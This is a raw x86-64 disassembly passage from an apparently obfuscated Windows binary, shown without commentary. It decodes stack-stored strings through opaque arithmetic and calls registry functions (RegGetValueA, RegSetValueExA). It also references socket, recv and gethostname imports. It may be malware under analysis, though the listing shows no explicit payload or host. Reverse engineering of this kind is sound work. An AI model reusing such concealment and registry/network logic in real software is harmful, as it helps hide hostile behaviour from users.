cmp rax, rcx
jne 0x1400d1f19
mov edx, Ordinal_60
movzx edi, bl
movzx ecx, r10b
lea r8d, [rdi - 0x10]
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
jmp 0x1400d2186
inc rcx
cmp rax, rcx
je 0x1400d21b3
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400d1f4f
lea edx, [rbx + 0x30]
movzx ecx, r10b
and cl, dl
dec rbx
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x50
inc rbx
jmp 0x1400d1822
lea rcx, [r9 + 5]
cmp rax, rcx
jne 0x1400d1f79
lea r8d, [rbx - 0x70]
mov edx, 8
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
jmp 0x1400d2241
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400d1fa0
mov edx, Ordinal_27
lea r8d, [rbx - 0x50]
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
jmp 0x1400d20f3
lea rcx, [r9 + 9]
cmp rax, rcx
jne 0x1400d1cb0
lea r8d, [rbx - 0x10]
movzx ecx, r10b
and cl, r8b
mov edx, Ordinal_60
sub dl, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
inc rbx
jmp 0x1400d1822
lea rcx, [r9 + 1]
cmp rax, rcx
jne 0x1400d2014
lea r8d, [rbx + 0x40]
movzx ecx, r10b
and cl, r8b
mov edx, reloc.WLDAP32.dll_Ordinal_32
sub dl, cl
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
inc rbx
jmp 0x1400d1822
inc rcx
cmp rax, rcx
jne 0x1400d2037
lea edx, [rbx - 0x60]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x60
jmp 0x1400d2241
lea rcx, [r9 + 4]
cmp rax, rcx
jne 0x1400d205b
lea edx, [rbx - 0x40]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x40
jmp 0x1400d223e
lea rcx, [r9 + 2]
cmp rax, rcx
jne 0x1400d2084
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi - 0x20]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x20
jmp 0x1400d221a
lea rcx, [r9 + 3]
cmp rax, rcx
jne 0x1400d1c68
movzx ecx, r10b
and cl, bl
add cl, cl
sub r10b, cl
lea r11d, [rbx + r10]
dec rbx
inc rbx
jmp 0x1400d1822
movzx r11d, byte [rsp + rbx + 0x40]
movzx edi, bl
movzx ecx, r10b
lea r8d, [rdi + 0x80]
and cl, r8b
add cl, cl
sub r11b, cl
add r11b, 0x80
add r11b, r8b
add r11b, r10b
jmp 0x1400d221d
lea r8d, [rbx - 0x60]
movzx ecx, r10b
and cl, r8b
movzx r11d, r10b
add cl, cl
sub r11b, cl
sub r11b, byte [rsp + rbx + 0x40]
sub r11b, 0x60
add r11b, r8b
lea r8d, [rbx - 0x50]
movzx ecx, r10b
and cl, r8b
inc r9
mov edx, Ordinal_27
sub dl, cl
add dl, dl
add dl, r10b
add dl, r8b
movzx ecx, dl
mov byte [rsp + rbx + 0x40], cl
add rcx, r9
sub rbx, rcx
jmp 0x1400d2274
lea edx, [rbx + 0x50]
movzx ecx, dl
and cl, r10b
jmp 0x1400d2268
lea r8d, [rbx - 0x50]
mov edx, Ordinal_27
jmp 0x1400d21e0
lea r8d, [rbx - 0x70]
mov edx, 8
movzx ecx, r10b
inc r9
and cl, r8b
dec rbx
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
inc rbx
jmp 0x1400d1822
movzx edi, bl
movzx ecx, r10b
movzx r11d, r10b
lea r8d, [rdi + 0x70]
and cl, r8b
add cl, cl
sub r11b, cl
sub r11b, 0x10
add r11b, r8b
movzx ecx, r10b
add dil, 0x70
and cl, dil
inc r9
add cl, cl
sub r10b, cl
sub r10b, 0x10
add r10b, dil
mov byte [rsp + rbx + 0x40], r10b
dec rbx
inc rbx
jmp 0x1400d1822
lea edx, [rbx + 0x10]
movzx ecx, r10b
and cl, dl
add cl, cl
sub r10b, cl
lea r11d, [rdx + r10]
sub r11b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x1400d1822
lea r8d, [rbx - 0x10]
mov edx, Ordinal_60
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
dec rbx
inc rbx
jmp 0x1400d1822
movzx edi, bl
mov edx, Ordinal_41
lea r8d, [rdi - 0x30]
movzx ecx, r10b
and cl, r8b
sub dl, cl
lea r11d, [rdx + rdx]
add r11b, r10b
add r11b, r8b
sub dil, 0x70
movzx ecx, r10b
and cl, dil
mov edx, 8
sub dl, cl
add dl, dl
add dl, r11b
add dl, r10b
add dl, dil
mov byte [rsp + rbx + 0x40], dl
add rax, r9
movzx ecx, r11b
mov rdx, 0xffffffffffffffff
sub rdx, rcx
add rbx, rdx
inc rbx
jmp 0x1400d1822
lea rdx, [rbx + r15]
movzx r10d, r8b
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea r11d, [r10 + rdx]
sub r11b, 0x30
lea edx, [rbx - 0x40]
inc rax
movzx ecx, dl
and cl, r10b
add cl, cl
sub dl, cl
mov rcx, 0xffffffffffffffff
sub rcx, rax
sub dl, 0x40
add dl, r10b
mov byte [rsp + rbx + 0x40], dl
add rbx, rcx
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400d1822
lea rdx, [rbx + r14]
movzx ecx, dl
and cl, r8b
add cl, cl
sub dl, cl
lea r11d, [r8 + rdx]
sub r11b, 0x50
movzx ecx, byte [rsp + rbx + 0x40]
add rcx, r9
add rbx, rcx
inc rbx
jmp 0x1400d1822
add bl, 0x50
movzx ecx, bl
and cl, r10b
add cl, cl
sub bl, cl
lea r11d, [r10 + rbx]
sub r11b, 0x30
jmp 0x1400d1820
add bl, 0x30
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x50
jmp 0x1400d1810
lea r8, [rbp + 0x140de00]
jmp 0x1400d2323
lea r8, [rbp + 0xa1fd10]
jmp 0x1400d2323
lea r8, [rsp + 0x40]
mov rcx, qword [rbp + 0xc0]
lea rax, [rbp + 0xb8]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
lea r9d, [rdx + 0x10]
call qword [sym.imp.ADVAPI32.dll_RegGetValueA]
test eax, eax
jne 0x1400d4279
cmp dword [rbp + 0xb0], 1
jne 0x1400d4279
mov dword [rbp + 0xb0], eax
movabs rsi, 0x5d91f54b1c0b1e1b
movzx r11d, byte [rbp + 0xb0]
xor eax, eax
mov dword [rbp - 0x10], eax
movabs r14, 0x4a219fa3fc640ef3
mov byte [rbp - 0xc], al
movabs r15, 0x18b5dfe154215a51
mov dword [rbp - 0x30], 0x35342e08
mov dword [rbp - 0x2c], 0x3d3f0f3d
mov dword [rbp - 0x28], 0x924060a
mov dword [rbp - 0x24], 0x50b1b01
mov dword [rbp - 0x20], 0xe0105d4
mov dword [rbp - 0x1c], 0x2171907
mov dword [rbp - 0x18], 0x281e3602
mov dword [rbp - 0x14], 0x871b1128
nop dword [rax + rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
xor edi, edi
cmp rdi, 0x25
jae 0x1400d2ec3
movzx ebx, byte [rbp + rdi - 0x30]
mov rdx, rbx
cmp r8, rdi
ja 0x1400d2eba
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d242e
lea r11, [rdi + rsi]
movzx eax, r11b
and al, dl
add al, al
sub r11b, al
add r11b, 0x43
add r11b, dl
jmp 0x1400d2470
je 0x1400d2e53
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d2e25
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d2de9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d2dca
lea rax, [r9 + 9]
cmp r8, rax
je 0x1400d2d88
nop dword [rax + rax]
cmp r9, rdi
ja 0x1400d2eb1
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x1400d249b
lea ecx, [rdi + 0x37]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x7f
jmp 0x1400d24f0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400d2d6d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d2d4e
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400d2d30
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d2d14
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d2cfb
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d2cd4
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400d29f8
nop dword [rax]
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d29db
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400d29b4
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d2995
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x1400d2972
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x1400d2956
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d2938
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400d291e
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d2900
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400d28d9
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400d2500
lea r8, [r9 + 8]
lea r9, [r8 + 5]
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400d2e96
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d2e7b
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400d26ca
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d26b1
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400d2698
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400d288d
lea rcx, [r9 + 0x41]
cmp r8, rcx
jb 0x1400d2846
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400d2805
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d27e4
lea r9, [rcx + 0x28]
mov r8, rcx
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x1400d27bd
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x1400d279f
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x1400d2785
lea rax, [r9 + 0x28]
cmp rcx, rax
ja 0x1400d2767
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x1400d274b
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x1400d2729
lea rcx, [r9 + 0x42]
cmp r8, rcx
ja 0x1400d270a
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400d26e3
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d2500
mov r8, rcx
lea r9, [rcx + 3]
jmp 0x1400d2500
lea ecx, [rdi - 0x57]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x61
jmp 0x1400d24f0
lea ecx, [rdi + 0x73]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x25
jmp 0x1400d2470
lea ecx, [rdi + 0x3d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x55
jmp 0x1400d2401
lea edx, [rdi - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, bl
inc r9
and al, dl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d23f2
lea ecx, [rdi + 0x4c]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x14
inc rdi
jmp 0x1400d23f2
lea edx, [rdi + 0x16]
mov ecx, 0x33
movzx eax, bl
movzx r10d, dil
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d2e02
lea ecx, [rdi - 0x20]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
add r8, r9
jmp 0x1400d2e3a
lea edx, [rdi - 0x56]
mov ecx, reloc.WLDAP32.dll_Ordinal_45
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d2e3a
lea edx, [rdi + 0x74]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x2c
jmp 0x1400d2c75
lea edx, [rdi + 0x3e]
mov ecx, Ordinal_41
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d2c98
lea ecx, [rdi + 8]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 0x38
inc rdi
jmp 0x1400d23f2
lea ecx, [rdi - 0x7f]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x79
mov byte [rbp + rdi - 0x30], r11b
inc rdi
jmp 0x1400d23f2
lea edx, [rdi + 0x4b]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0xd
add r11b, dl
cmp r9, 0x42
jb 0x1400d27f8
mov ecx, Ordinal_27
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 0x3e]
and al, dl
sub cl, al
add cl, cl
add cl, bl
add cl, dl
lea r11d, [rcx + rcx]
jmp 0x1400d2da1
lea edx, [rdi + 0x15]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
add r11b, 0x6d
add r11b, dl
cmp r8, 8
jae 0x1400d2c38
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x1400d2bb6
mov ecx, Ordinal_60
lea edx, [rdi - 0x5a]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d281a
lea edx, [rdi - 0x21]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x19
add r11b, dl
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400d2c5b
lea rcx, [r9 + 5]
cmp r8, rcx
jbe 0x1400d2af9
lea edx, [rdi + 0x6f]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 9
jmp 0x1400d285b
lea ecx, [rdi + 0x4a]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 6
inc rdi
jmp 0x1400d23f2
lea edx, [rdi + 0x14]
mov ecx, Ordinal_60
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d2c98
lea edx, [rdi - 0x22]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x12
jmp 0x1400d2c75
lea edx, [rdi - 0x58]
mov ecx, 0x34
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d2e3a
lea ecx, [rdi + 0x72]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x1e
add r8, r9
jmp 0x1400d2e3a
mov ecx, reloc.WLDAP32.dll_Ordinal_46
movzx r10d, dil
movzx eax, bl
lea edx, [r10 + 0x3c]
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x1400d2e02
lea ecx, [rdi + 6]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x2a
inc rdi
jmp 0x1400d23f2
lea edx, [rdi - 0x30]
mov ecx, Ordinal_41
movzx eax, dl
inc r9
and al, bl
dec rdi
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d23f2
lea ecx, [rdi - 0x66]
movzx r10d, dil
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x36
jmp 0x1400d2da1
lea rax, [r9 + 0x28]
cmp r8, rax
jae 0x1400d2a1a
lea ecx, [rdi + 0x1b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x43
jmp 0x1400d28a5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d2a4a
lea ecx, [rdi + 0x6e]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
sub r11b, 2
inc rdi
jmp 0x1400d23f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d2a71
movzx r10d, dil
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x1400d2e02
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400d2a9e
lea edx, [rdi - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
dec rdi
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc rdi
jmp 0x1400d23f2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d2ac9
lea ecx, [rdi - 0x18]
inc r9
movzx eax, cl
dec rdi
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
inc rdi
jmp 0x1400d23f2
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400d28a5
mov ecx, reloc.WS2_32.dll_socket
movzx r10d, dil
lea edx, [r10 + 0x1e]
movzx eax, dl
and al, bl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400d2da1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d2b24
movzx r10d, dil
movzx eax, bl
movzx r11d, bl
lea edx, [r10 - 0x5b]
and al, dl
add al, al
sub r11b, al
add r11b, 0x7d
add r11b, dl
jmp 0x1400d2da1
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d2b4c
lea ecx, [rdi + 0x11]
movzx eax, bl
and al, cl
dec rdi
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x77
inc rdi
jmp 0x1400d23f2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400d2b71
lea ecx, [rdi + 0x7d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x6b
add r8, r9
jmp 0x1400d2e3a
cmp r8, rcx
jne 0x1400d2b8f
lea ecx, [rdi - 0x4d]
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
add r11b, 0x1b
jmp 0x1400d2e3a
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d285e
lea edx, [rdi - 0x17]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, 0x5f
jmp 0x1400d2c75
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400d2be6
lea ecx, [rdi - 0x24]
movzx eax, bl
and al, cl
add al, al
sub bl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r11d, [rcx + rbx]
sub r11b, 4
inc rdi
jmp 0x1400d23f2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400d2c07
mov ecx, 4
lea edx, [rdi + 0x48]
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
jmp 0x1400d2c75
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400d281d
lea edx, [rdi + 0x20]
mov ecx, reloc.WS2_32.dll_recv
movzx eax, bl
dec rdi
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc rdi
jmp 0x1400d23f2
movzx ecx, byte [rbp + rdi - 0x30]
movzx r10d, dil
movzx eax, bl
lea edx, [r10 - 8]
and al, dl
sub cl, al
add cl, 0x1c
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400d2e02
lea edx, [rdi + 0x2e]
movzx eax, bl
and al, dl
movzx r11d, bl
add al, al
sub r11b, al
sub r11b, byte [rbp + rdi - 0x30]
sub r11b, 0x42
add r11b, dl
lea ecx, [rdi + 0x49]
inc r9
movzx eax, cl
and al, bl
add al, al
sub cl, al
inc cl
add cl, bl
movzx eax, cl
mov byte [rbp + rdi - 0x30], al
add rax, r9
sub rdi, rax
lea edx, [rdi + 0x64]
inc r8
movzx eax, dl
mov ecx, Ordinal_35
and al, bl
sub cl, al
mov rax, 0xffffffffffffffff
sub rax, r8
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi - 0x30], cl
add rdi, rax
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d23f2
lea ecx, [rdi + 0x1d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
lea r11d, [rbx + rcx]
add r11b, 0x35
inc rdi
jmp 0x1400d23f2
lea ecx, [rdi + 0x7b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5d
jmp 0x1400d2e3a
lea ecx, [rdi + 0x45]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x1d
add r8, r9
jmp 0x1400d2e3a
movzx r10d, dil
lea ecx, [r10 + 0xf]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x69
jmp 0x1400d2e02
lea ecx, [rdi - 0x27]
dec rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x11
inc rdi
jmp 0x1400d23f2
movzx r10d, dil
lea ecx, [r10 + 0x6d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 5
jmp 0x1400d2da1
movzx r10d, dil
lea ecx, [r10 + 1]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 7
sub r10b, 0x23
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0xb
add r10b, bl
mov byte [rbp + rdi - 0x30], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400d23f2
lea ecx, [rdi - 0x6b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x13
dec rdi
inc rdi
jmp 0x1400d23f2
movzx r10d, dil
lea ecx, [r10 + 0x5f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x67
add r10b, 0x13
movzx ecx, r11b
movzx eax, r10b
and al, bl
add al, al
sub cl, al
add cl, 0x7b
add cl, r10b
add cl, bl
mov byte [rbp + rdi - 0x30], cl
add r8, r9
jmp 0x1400d2e3a
lea rcx, [rdi + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
add r11b, 0x5b
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400d23f2
lea rcx, [rdi + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x37
movzx eax, byte [rbp + rdi - 0x30]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400d23f2
add dil, 7
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x31
jmp 0x1400d23f0
sub dil, 0x2f
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
add r11b, 0x49
jmp 0x1400d23e0
lea rdx, [rbp + 0x17839f4]
jmp 0x1400d2ec7
lea rdx, [rbp + 0x43580f]
jmp 0x1400d2ec7
lea rdx, [rbp - 0x30]
mov rcx, qword [rbp + 0xc0]
lea rax, [rbp + 0xb0]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x1400d4279
movzx edx, byte [rbp + 0xb0]
xor eax, eax
mov qword [rbp - 0x42], rax
movabs rsi, 0x9e7c4bc1c1f24891
mov dword [rbp - 0x3a], eax
movabs r14, 0x925ea9cfd1848d19
mov byte [rbp - 0x36], al
movabs r15, 0xdb74e34545d6d9b3
mov dword [rsp + 0x70], 0x83fff4c1
mov dword [rsp + 0x74], 0xc3cbcaf0
mov dword [rsp + 0x78], 0x8bfdf18e
mov dword [rsp + 0x7c], 0xcbf5c2f4
mov dword [rbp - 0x80], 0xb3c8cbf9
mov dword [rbp - 0x7c], 0xc1cbc0d5
mov dword [rbp - 0x78], 0xbb91edbe
mov dword [rbp - 0x74], 0xa7c6c8f0
mov dword [rbp - 0x70], 0xd8c2eef4
mov dword [rbp - 0x6c], 0xdedca1dc
mov dword [rbp - 0x68], 0xd5ddd4ae
mov dword [rbp - 0x64], 0x87a89bdf
mov dword [rbp - 0x60], 0xaea99ea8
mov dword [rbp - 0x5c], 0xa3a2fad2
mov dword [rbp - 0x58], 0xa7dca395
mov dword [rbp - 0x54], 0x8ca6d9ab
mov dword [rbp - 0x50], 0xbd8bb9bb
mov dword [rbp - 0x4c], 0x87bcc1be
mov dword [rbp - 0x48], 0xe69ccd85
mov word [rbp - 0x44], 0x29f8
nop dword [rax]
mov r8, qword [0x1402e62b8]
mov r9, qword [0x1402e62c0]
nop
xor ebx, ebx
cmp rbx, 0x5b
jae 0x1400d3868
movzx r11d, byte [rsp + rbx + 0x70]
mov r10, r11
cmp r8, rbx
ja 0x1400d385f
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400d300d
lea rdx, [rbx + rsi]
movzx eax, dl
and al, r10b
add al, al
sub dl, al
add dl, 9
add dl, r10b
jmp 0x1400d3039
je 0x1400d37fa
inc rax
cmp r8, rax
je 0x1400d37cd
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d37b4
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d3777
nop dword [rax]
cmp r9, rbx
ja 0x1400d3856
lea rax, [r9 + 0x5a]
cmp r8, rax
jae 0x1400d3067
lea edx, [rbx - 0x1b]
movzx eax, dl
and al, r11b
add al, al
sub dl, al
sub dl, 0x43
add dl, r11b
jmp 0x1400d309b
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400d3734
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d3715
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400d36c7
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400d36a0
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400d33c3
nop dword [rax]
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400d33a6
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400d3384
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400d3362
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400d3346
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400d3325
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400d30b0
lea r8, [r9 + 0x41]
lea r9, [r8 + 0x10]
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400d383c
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400d3822
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400d31b7
lea rax, [r9 + 5]
cmp r8, rax
jb 0x1400d32de
lea rax, [r9 + 0x40]
cmp r8, rax
jb 0x1400d3273
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400d30b0
lea r8, [r9 + 0x200]
lea r9, [r8 + 4]
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400d3249
lea rax, [r9 + 9]
cmp r8, rax
ja 0x1400d322d
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x1400d320d
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400d31f0
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400d31d0
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x1400d30b0
lea r8, [r9 + 0x20]
lea r9, [r8 + 0x41]
jmp 0x1400d30b0
lea ecx, [rbx + 0x77]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x41
jmp 0x1400d2fe2
lea ecx, [rbx - 0x1c]
movzx eax, r11b
and al, cl
dec rbx
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x3c
inc rbx
jmp 0x1400d2fd2
lea ecx, [rbx - 0x3e]
movzx r10d, bl
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
